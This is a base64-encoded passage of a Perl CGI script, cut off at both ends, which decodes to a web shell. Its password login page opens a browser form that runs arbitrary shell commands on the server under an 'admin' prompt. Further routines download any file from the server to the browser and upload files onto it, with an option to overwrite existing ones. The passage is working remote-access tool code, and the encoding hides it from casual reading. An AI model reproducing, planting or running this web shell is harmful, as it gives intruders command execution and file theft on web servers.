cnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQgZG9lbnMndAojIG1hdGNoIG9yIGlmIG5vIHBh
c3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNl
cgojIHRvIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFBlcmZvcm1Mb2dpbgp7Cglp
ZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXBy
aW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFn
ZUhlYWRlcigiYyIpOwoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VG
b290ZXI7Cgl9CgllbHNlICMgcGFzc3dvcmQgZGlkbid0IG1hdGNoCgl7CgkJJlByaW50UGFnZUhl
YWRlcigicCIpOwoJCSZQcmludExvZ2luU2NyZWVuOwoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIi
KSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQKCQl7CgkJCSZQcmludExvZ2luRmFpbGVkTWVz
c2FnZTsKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9Cn0KCiMt
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0
aGUgdXNlciB0byBlbnRlciBjb21tYW5kcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmlu
dENvbW1hbmRMaW5lSW5wdXRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+
ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7
Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0
aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPgo8aW5w
dXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0Cjxp
bnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVu
dGVyIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJp
bnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMK
Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtCnsKCSRQcm9t
cHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3Vy
cmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9
IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFt
ZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIg
dmFsdWU9ImRvd25sb2FkIj4KJFByb21wdCBkb3dubG9hZDxicj48YnI+CkZpbGVuYW1lOiA8aW5w
dXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+CkRvd25sb2FkOiA8aW5w
dXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMt
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0
aGUgdXNlciB0byB1cGxvYWQgZmlsZXMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRG
aWxlVXBsb2FkRm9ybQp7CgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlth
ZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsKCXByaW50IDw8RU5EOwo8Y29kZT4K
PGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NU
IiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5h
bWU6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KT3B0aW9u
czogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiB2YWx1ZT0ib3ZlcndyaXRl
Ij4KT3ZlcndyaXRlIGlmIGl0IEV4aXN0czxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJz
cDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVu
IiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1l
PSJhIiB2YWx1ZT0idXBsb2FkIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3Ig
YSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1l
ZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2
ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDAp
OwoJCXByaW50IDw8RU5EOwo8L3htcD4KPGNvZGU+CkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0
aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS4KPGJyPktpbGxlZCBpdCEK
PGNvZGU+CkVORAoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VGb290
ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24g
aXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2Yg
dGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFu
ZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHku
IEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJu
YWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhl
Y3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5v
dCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5v
dCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5k
CnsKCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2Ug
ZGlyIGNvbW1hbmQKCXsKCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRo
ZSBvdXRwdXQgb2YgdGhlCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuCgoJCSRPbGREaXIg
PSAkQ3VycmVudERpcjsKCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAu
ImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7CgkJY2hvcCgkQ3VycmVudERpciA9IGAkQ29tbWFuZGAp
OwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRPbGREaXI+
ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkT2xkRGlyXVwkICI7CgkJcHJpbnQgIjxjb2RlPiRQ
cm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+IjsKCX0KCWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQs
IGRpc3BsYXkgdGhlIG91dHB1dAoJewoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkUHJvbXB0
ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJl
bnREaXJdXCQgIjsKCQlwcmludCAiPGNvZGU+JFByb21wdCAkUnVuQ29tbWFuZDwvY29kZT48eG1w
PiI7CgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5k
LiRSZWRpcmVjdG9yOwoJCWlmKCEkV2luTlQpCgkJewoJCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1h
bmRUaW1lb3V0OwoJCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7CgkJfQoJCWlmKCRT
aG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQKCQl7CgkJ
CSR8PTE7CgkJCSRDb21tYW5kIC49ICIgfCI7CgkJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1h
bmQpOwoJCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJCXsKCQkJCSRfID1+IHMvKFxufFxyXG4p
JC8vOwoJCQkJcHJpbnQgIiRfXG4iOwoJCQl9CgkJCSR8PTA7CgkJfQoJCWVsc2UgIyBzaG93IG91
dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcwoJCXsKCQkJcHJpbnQgYCRDb21tYW5kYDsKCQl9
CgkJaWYoISRXaW5OVCkKCQl7CgkJCWFsYXJtKDApOwoJCX0KCQlwcmludCAiPC94bXA+IjsKCX0K
CSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJJlByaW50UGFnZUZvb3RlcjsKfQoKIy0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gZGlzcGxheXMgdGhlIHBhZ2UgdGhhdCBj
b250YWlucyBhIGxpbmsgd2hpY2ggYWxsb3dzIHRoZSB1c2VyCiMgdG8gZG93bmxvYWQgdGhlIHNw
ZWNpZmllZCBmaWxlLiBUaGUgcGFnZSBhbHNvIGNvbnRhaW5zIGEgYXV0by1yZWZyZXNoCiMgZmVh
dHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4KIyBBcmd1bWVudCAx
OiBGdWxseSBxdWFsaWZpZWQgZmlsZW5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoj
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UKewoJbG9jYWwo
JEZpbGVVcmwpID0gQF87CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsK
CQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2Vy
CgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJ
CSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZv
PWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBD
T05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMi
KTsKCQlwcmludCA8PEVORDsKPGNvZGU+ClNlbmRpbmcgRmlsZSAkVHJhbnNmZXJGaWxlLi4uPGJy
PgpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0b21hdGljYWxseSwKPGEgaHJlZj0i
JERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4uCjwvY29kZT4KRU5ECgkJJlByaW50Q29tbWFu
ZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KCWVsc2UgIyBmaWxlIGRvZXNu
J3QgZXhpc3QKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJcHJpbnQgIjxjb2RlPkZhaWxl
ZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCE8L2NvZGU+IjsKCQkmUHJpbnRGaWxlRG93bmxvYWRG
b3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBU
aGlzIGZ1bmN0aW9uIHJlYWRzIHRoZSBzcGVjaWZpZWQgZmlsZSBmcm9tIHRoZSBkaXNrIGFuZCBz
ZW5kcyBpdCB0byB0aGUKIyBicm93c2VyLCBzbyB0aGF0IGl0IGNhbiBiZSBkb3dubG9hZGVkIGJ5
IHRoZSB1c2VyLgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUg
ZmlsZSB0byBiZSBzZW50LgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBTZW5kRmlsZVRvQnJv
d3Nlcgp7Cglsb2NhbCgkU2VuZEZpbGUpID0gQF87CglpZihvcGVuKFNFTkRGSUxFLCAkU2VuZEZp
bGUpKSAjIGZpbGUgb3BlbmVkIGZvciByZWFkaW5nCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJYmlu
bW9kZShTRU5ERklMRSk7CgkJCWJpbm1vZGUoU1RET1VUKTsKCQl9CgkJJEZpbGVTaXplID0gKHN0
YXQoJFNlbmRGaWxlKSlbN107CgkJKCRGaWxlbmFtZSA9ICRTZW5kRmlsZSkgPX4gIG0hKFteL15c
XF0qKSQhOwoJCXByaW50ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtdW5rbm93blxuIjsK
CQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsKCQlwcmludCAiQ29udGVudC1E
aXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JDFcblxuIjsKCQlwcmludCB3aGlsZSg8
U0VOREZJTEU+KTsKCQljbG9zZShTRU5ERklMRSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4g
ZmlsZQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQlwcmludCAiPGNvZGU+RmFpbGVkIHRv
IGRvd25sb2FkICRTZW5kRmlsZTogJCE8L2NvZGU+IjsKCQkmUHJpbnRGaWxlRG93bmxvYWRGb3Jt
OwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9Cn0KCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhp
cyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBk
aXNwbGF5cyBhIG1lc3NhZ2UKIyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91
Z2ggd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuCiMgVGhpcyBmdW5jdGlvbiBpcyBh
bHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2Fz
ZSwKIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLgojLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tCnN1YiBCZWdpbkRvd25sb2FkCnsKCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBw
YXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVy
RmlsZSA9fiBtL15cXHxeLjovKSkgfAoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9e
XC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQoJewoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmls
ZTsKCX0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlCgl7CgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYo
JFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCQkkVGFyZ2V0RmlsZSAu
PSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJfQoKCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2Ug
aGF2ZSB0byBzZW5kIHRoZSBmaWxlCgl7CgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxl
KTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJJlBy
aW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVw
bG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMg
YSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBp
dCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBV
cGxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQg
Zm9ybSBhZ2FpbgoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikKCXsKCQkmUHJpbnRQYWdlSGVhZGVy
KCJmIik7CgkJJlByaW50RmlsZVVwbG9hZEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlyZXR1
cm47Cgl9CgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHBy
b2Nlc3MKCXByaW50ICI8Y29kZT5VcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERp
ci4uLjxicj4iOwoKCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBm
aWxlIHRvIGJlIGNyZWF0ZWQKCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRD
dXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikk
ITsKCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOwoKCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0
aCgkaW57J2ZpbGVkYXRhJ30pOwoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qg
c3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0CglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBu
ZSAib3ZlcndyaXRlIikKCXsKCQlwcmludCAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVh
ZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihv
cGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklM
RSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xv
c2UoVVBMT0FERklMRSk7CgkJCXByaW50ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRl
cy48YnI+IjsKCQkJcHJpbnQgIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsKCQl9CgkJZWxz
ZQoJCXsKCQkJcHJpbnQgIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CglwcmludCAiPC9jb2RlPiI7
CgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2Vy
IHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNp
ZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQoj
IGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHBy
b3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVk
LgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxl
IGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2Zl
ckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCSZQcmludEZpbGVEb3du
bG9hZEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlyZXR1cm47Cgl9CgoJIyBnZXQgZnVsbHkg
cXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAm
ICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8CgkJKCEkV2luTlQgJiAoJFRyYW5zZmVy
RmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAk
VHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJn
ZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRU
YXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEg
ImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQkmU2VuZEZpbGVUb0Jyb3dzZXIo
JFRhcmdldEZpbGUpOwoJfQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBh
Z2UKCXsKCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQoKIy0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQoj
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExv
Y2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJf
TkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9
OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CgokQWN0aW9u
ID0gJGlueydhJ307CiRBY3Rpb24gPSAibG9naW4iIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFj
dGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0CgojIGdldCB0aGUgZGlyZWN0b3J5IGluIHdoaWNo
IHRoZSBjb21tYW5kcyB3aWxsIGJlIGV4ZWN1dGVkCiRDdXJyZW50RGlyID0gJGlueydkJ307CmNo
b3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsKCiRMb2dn
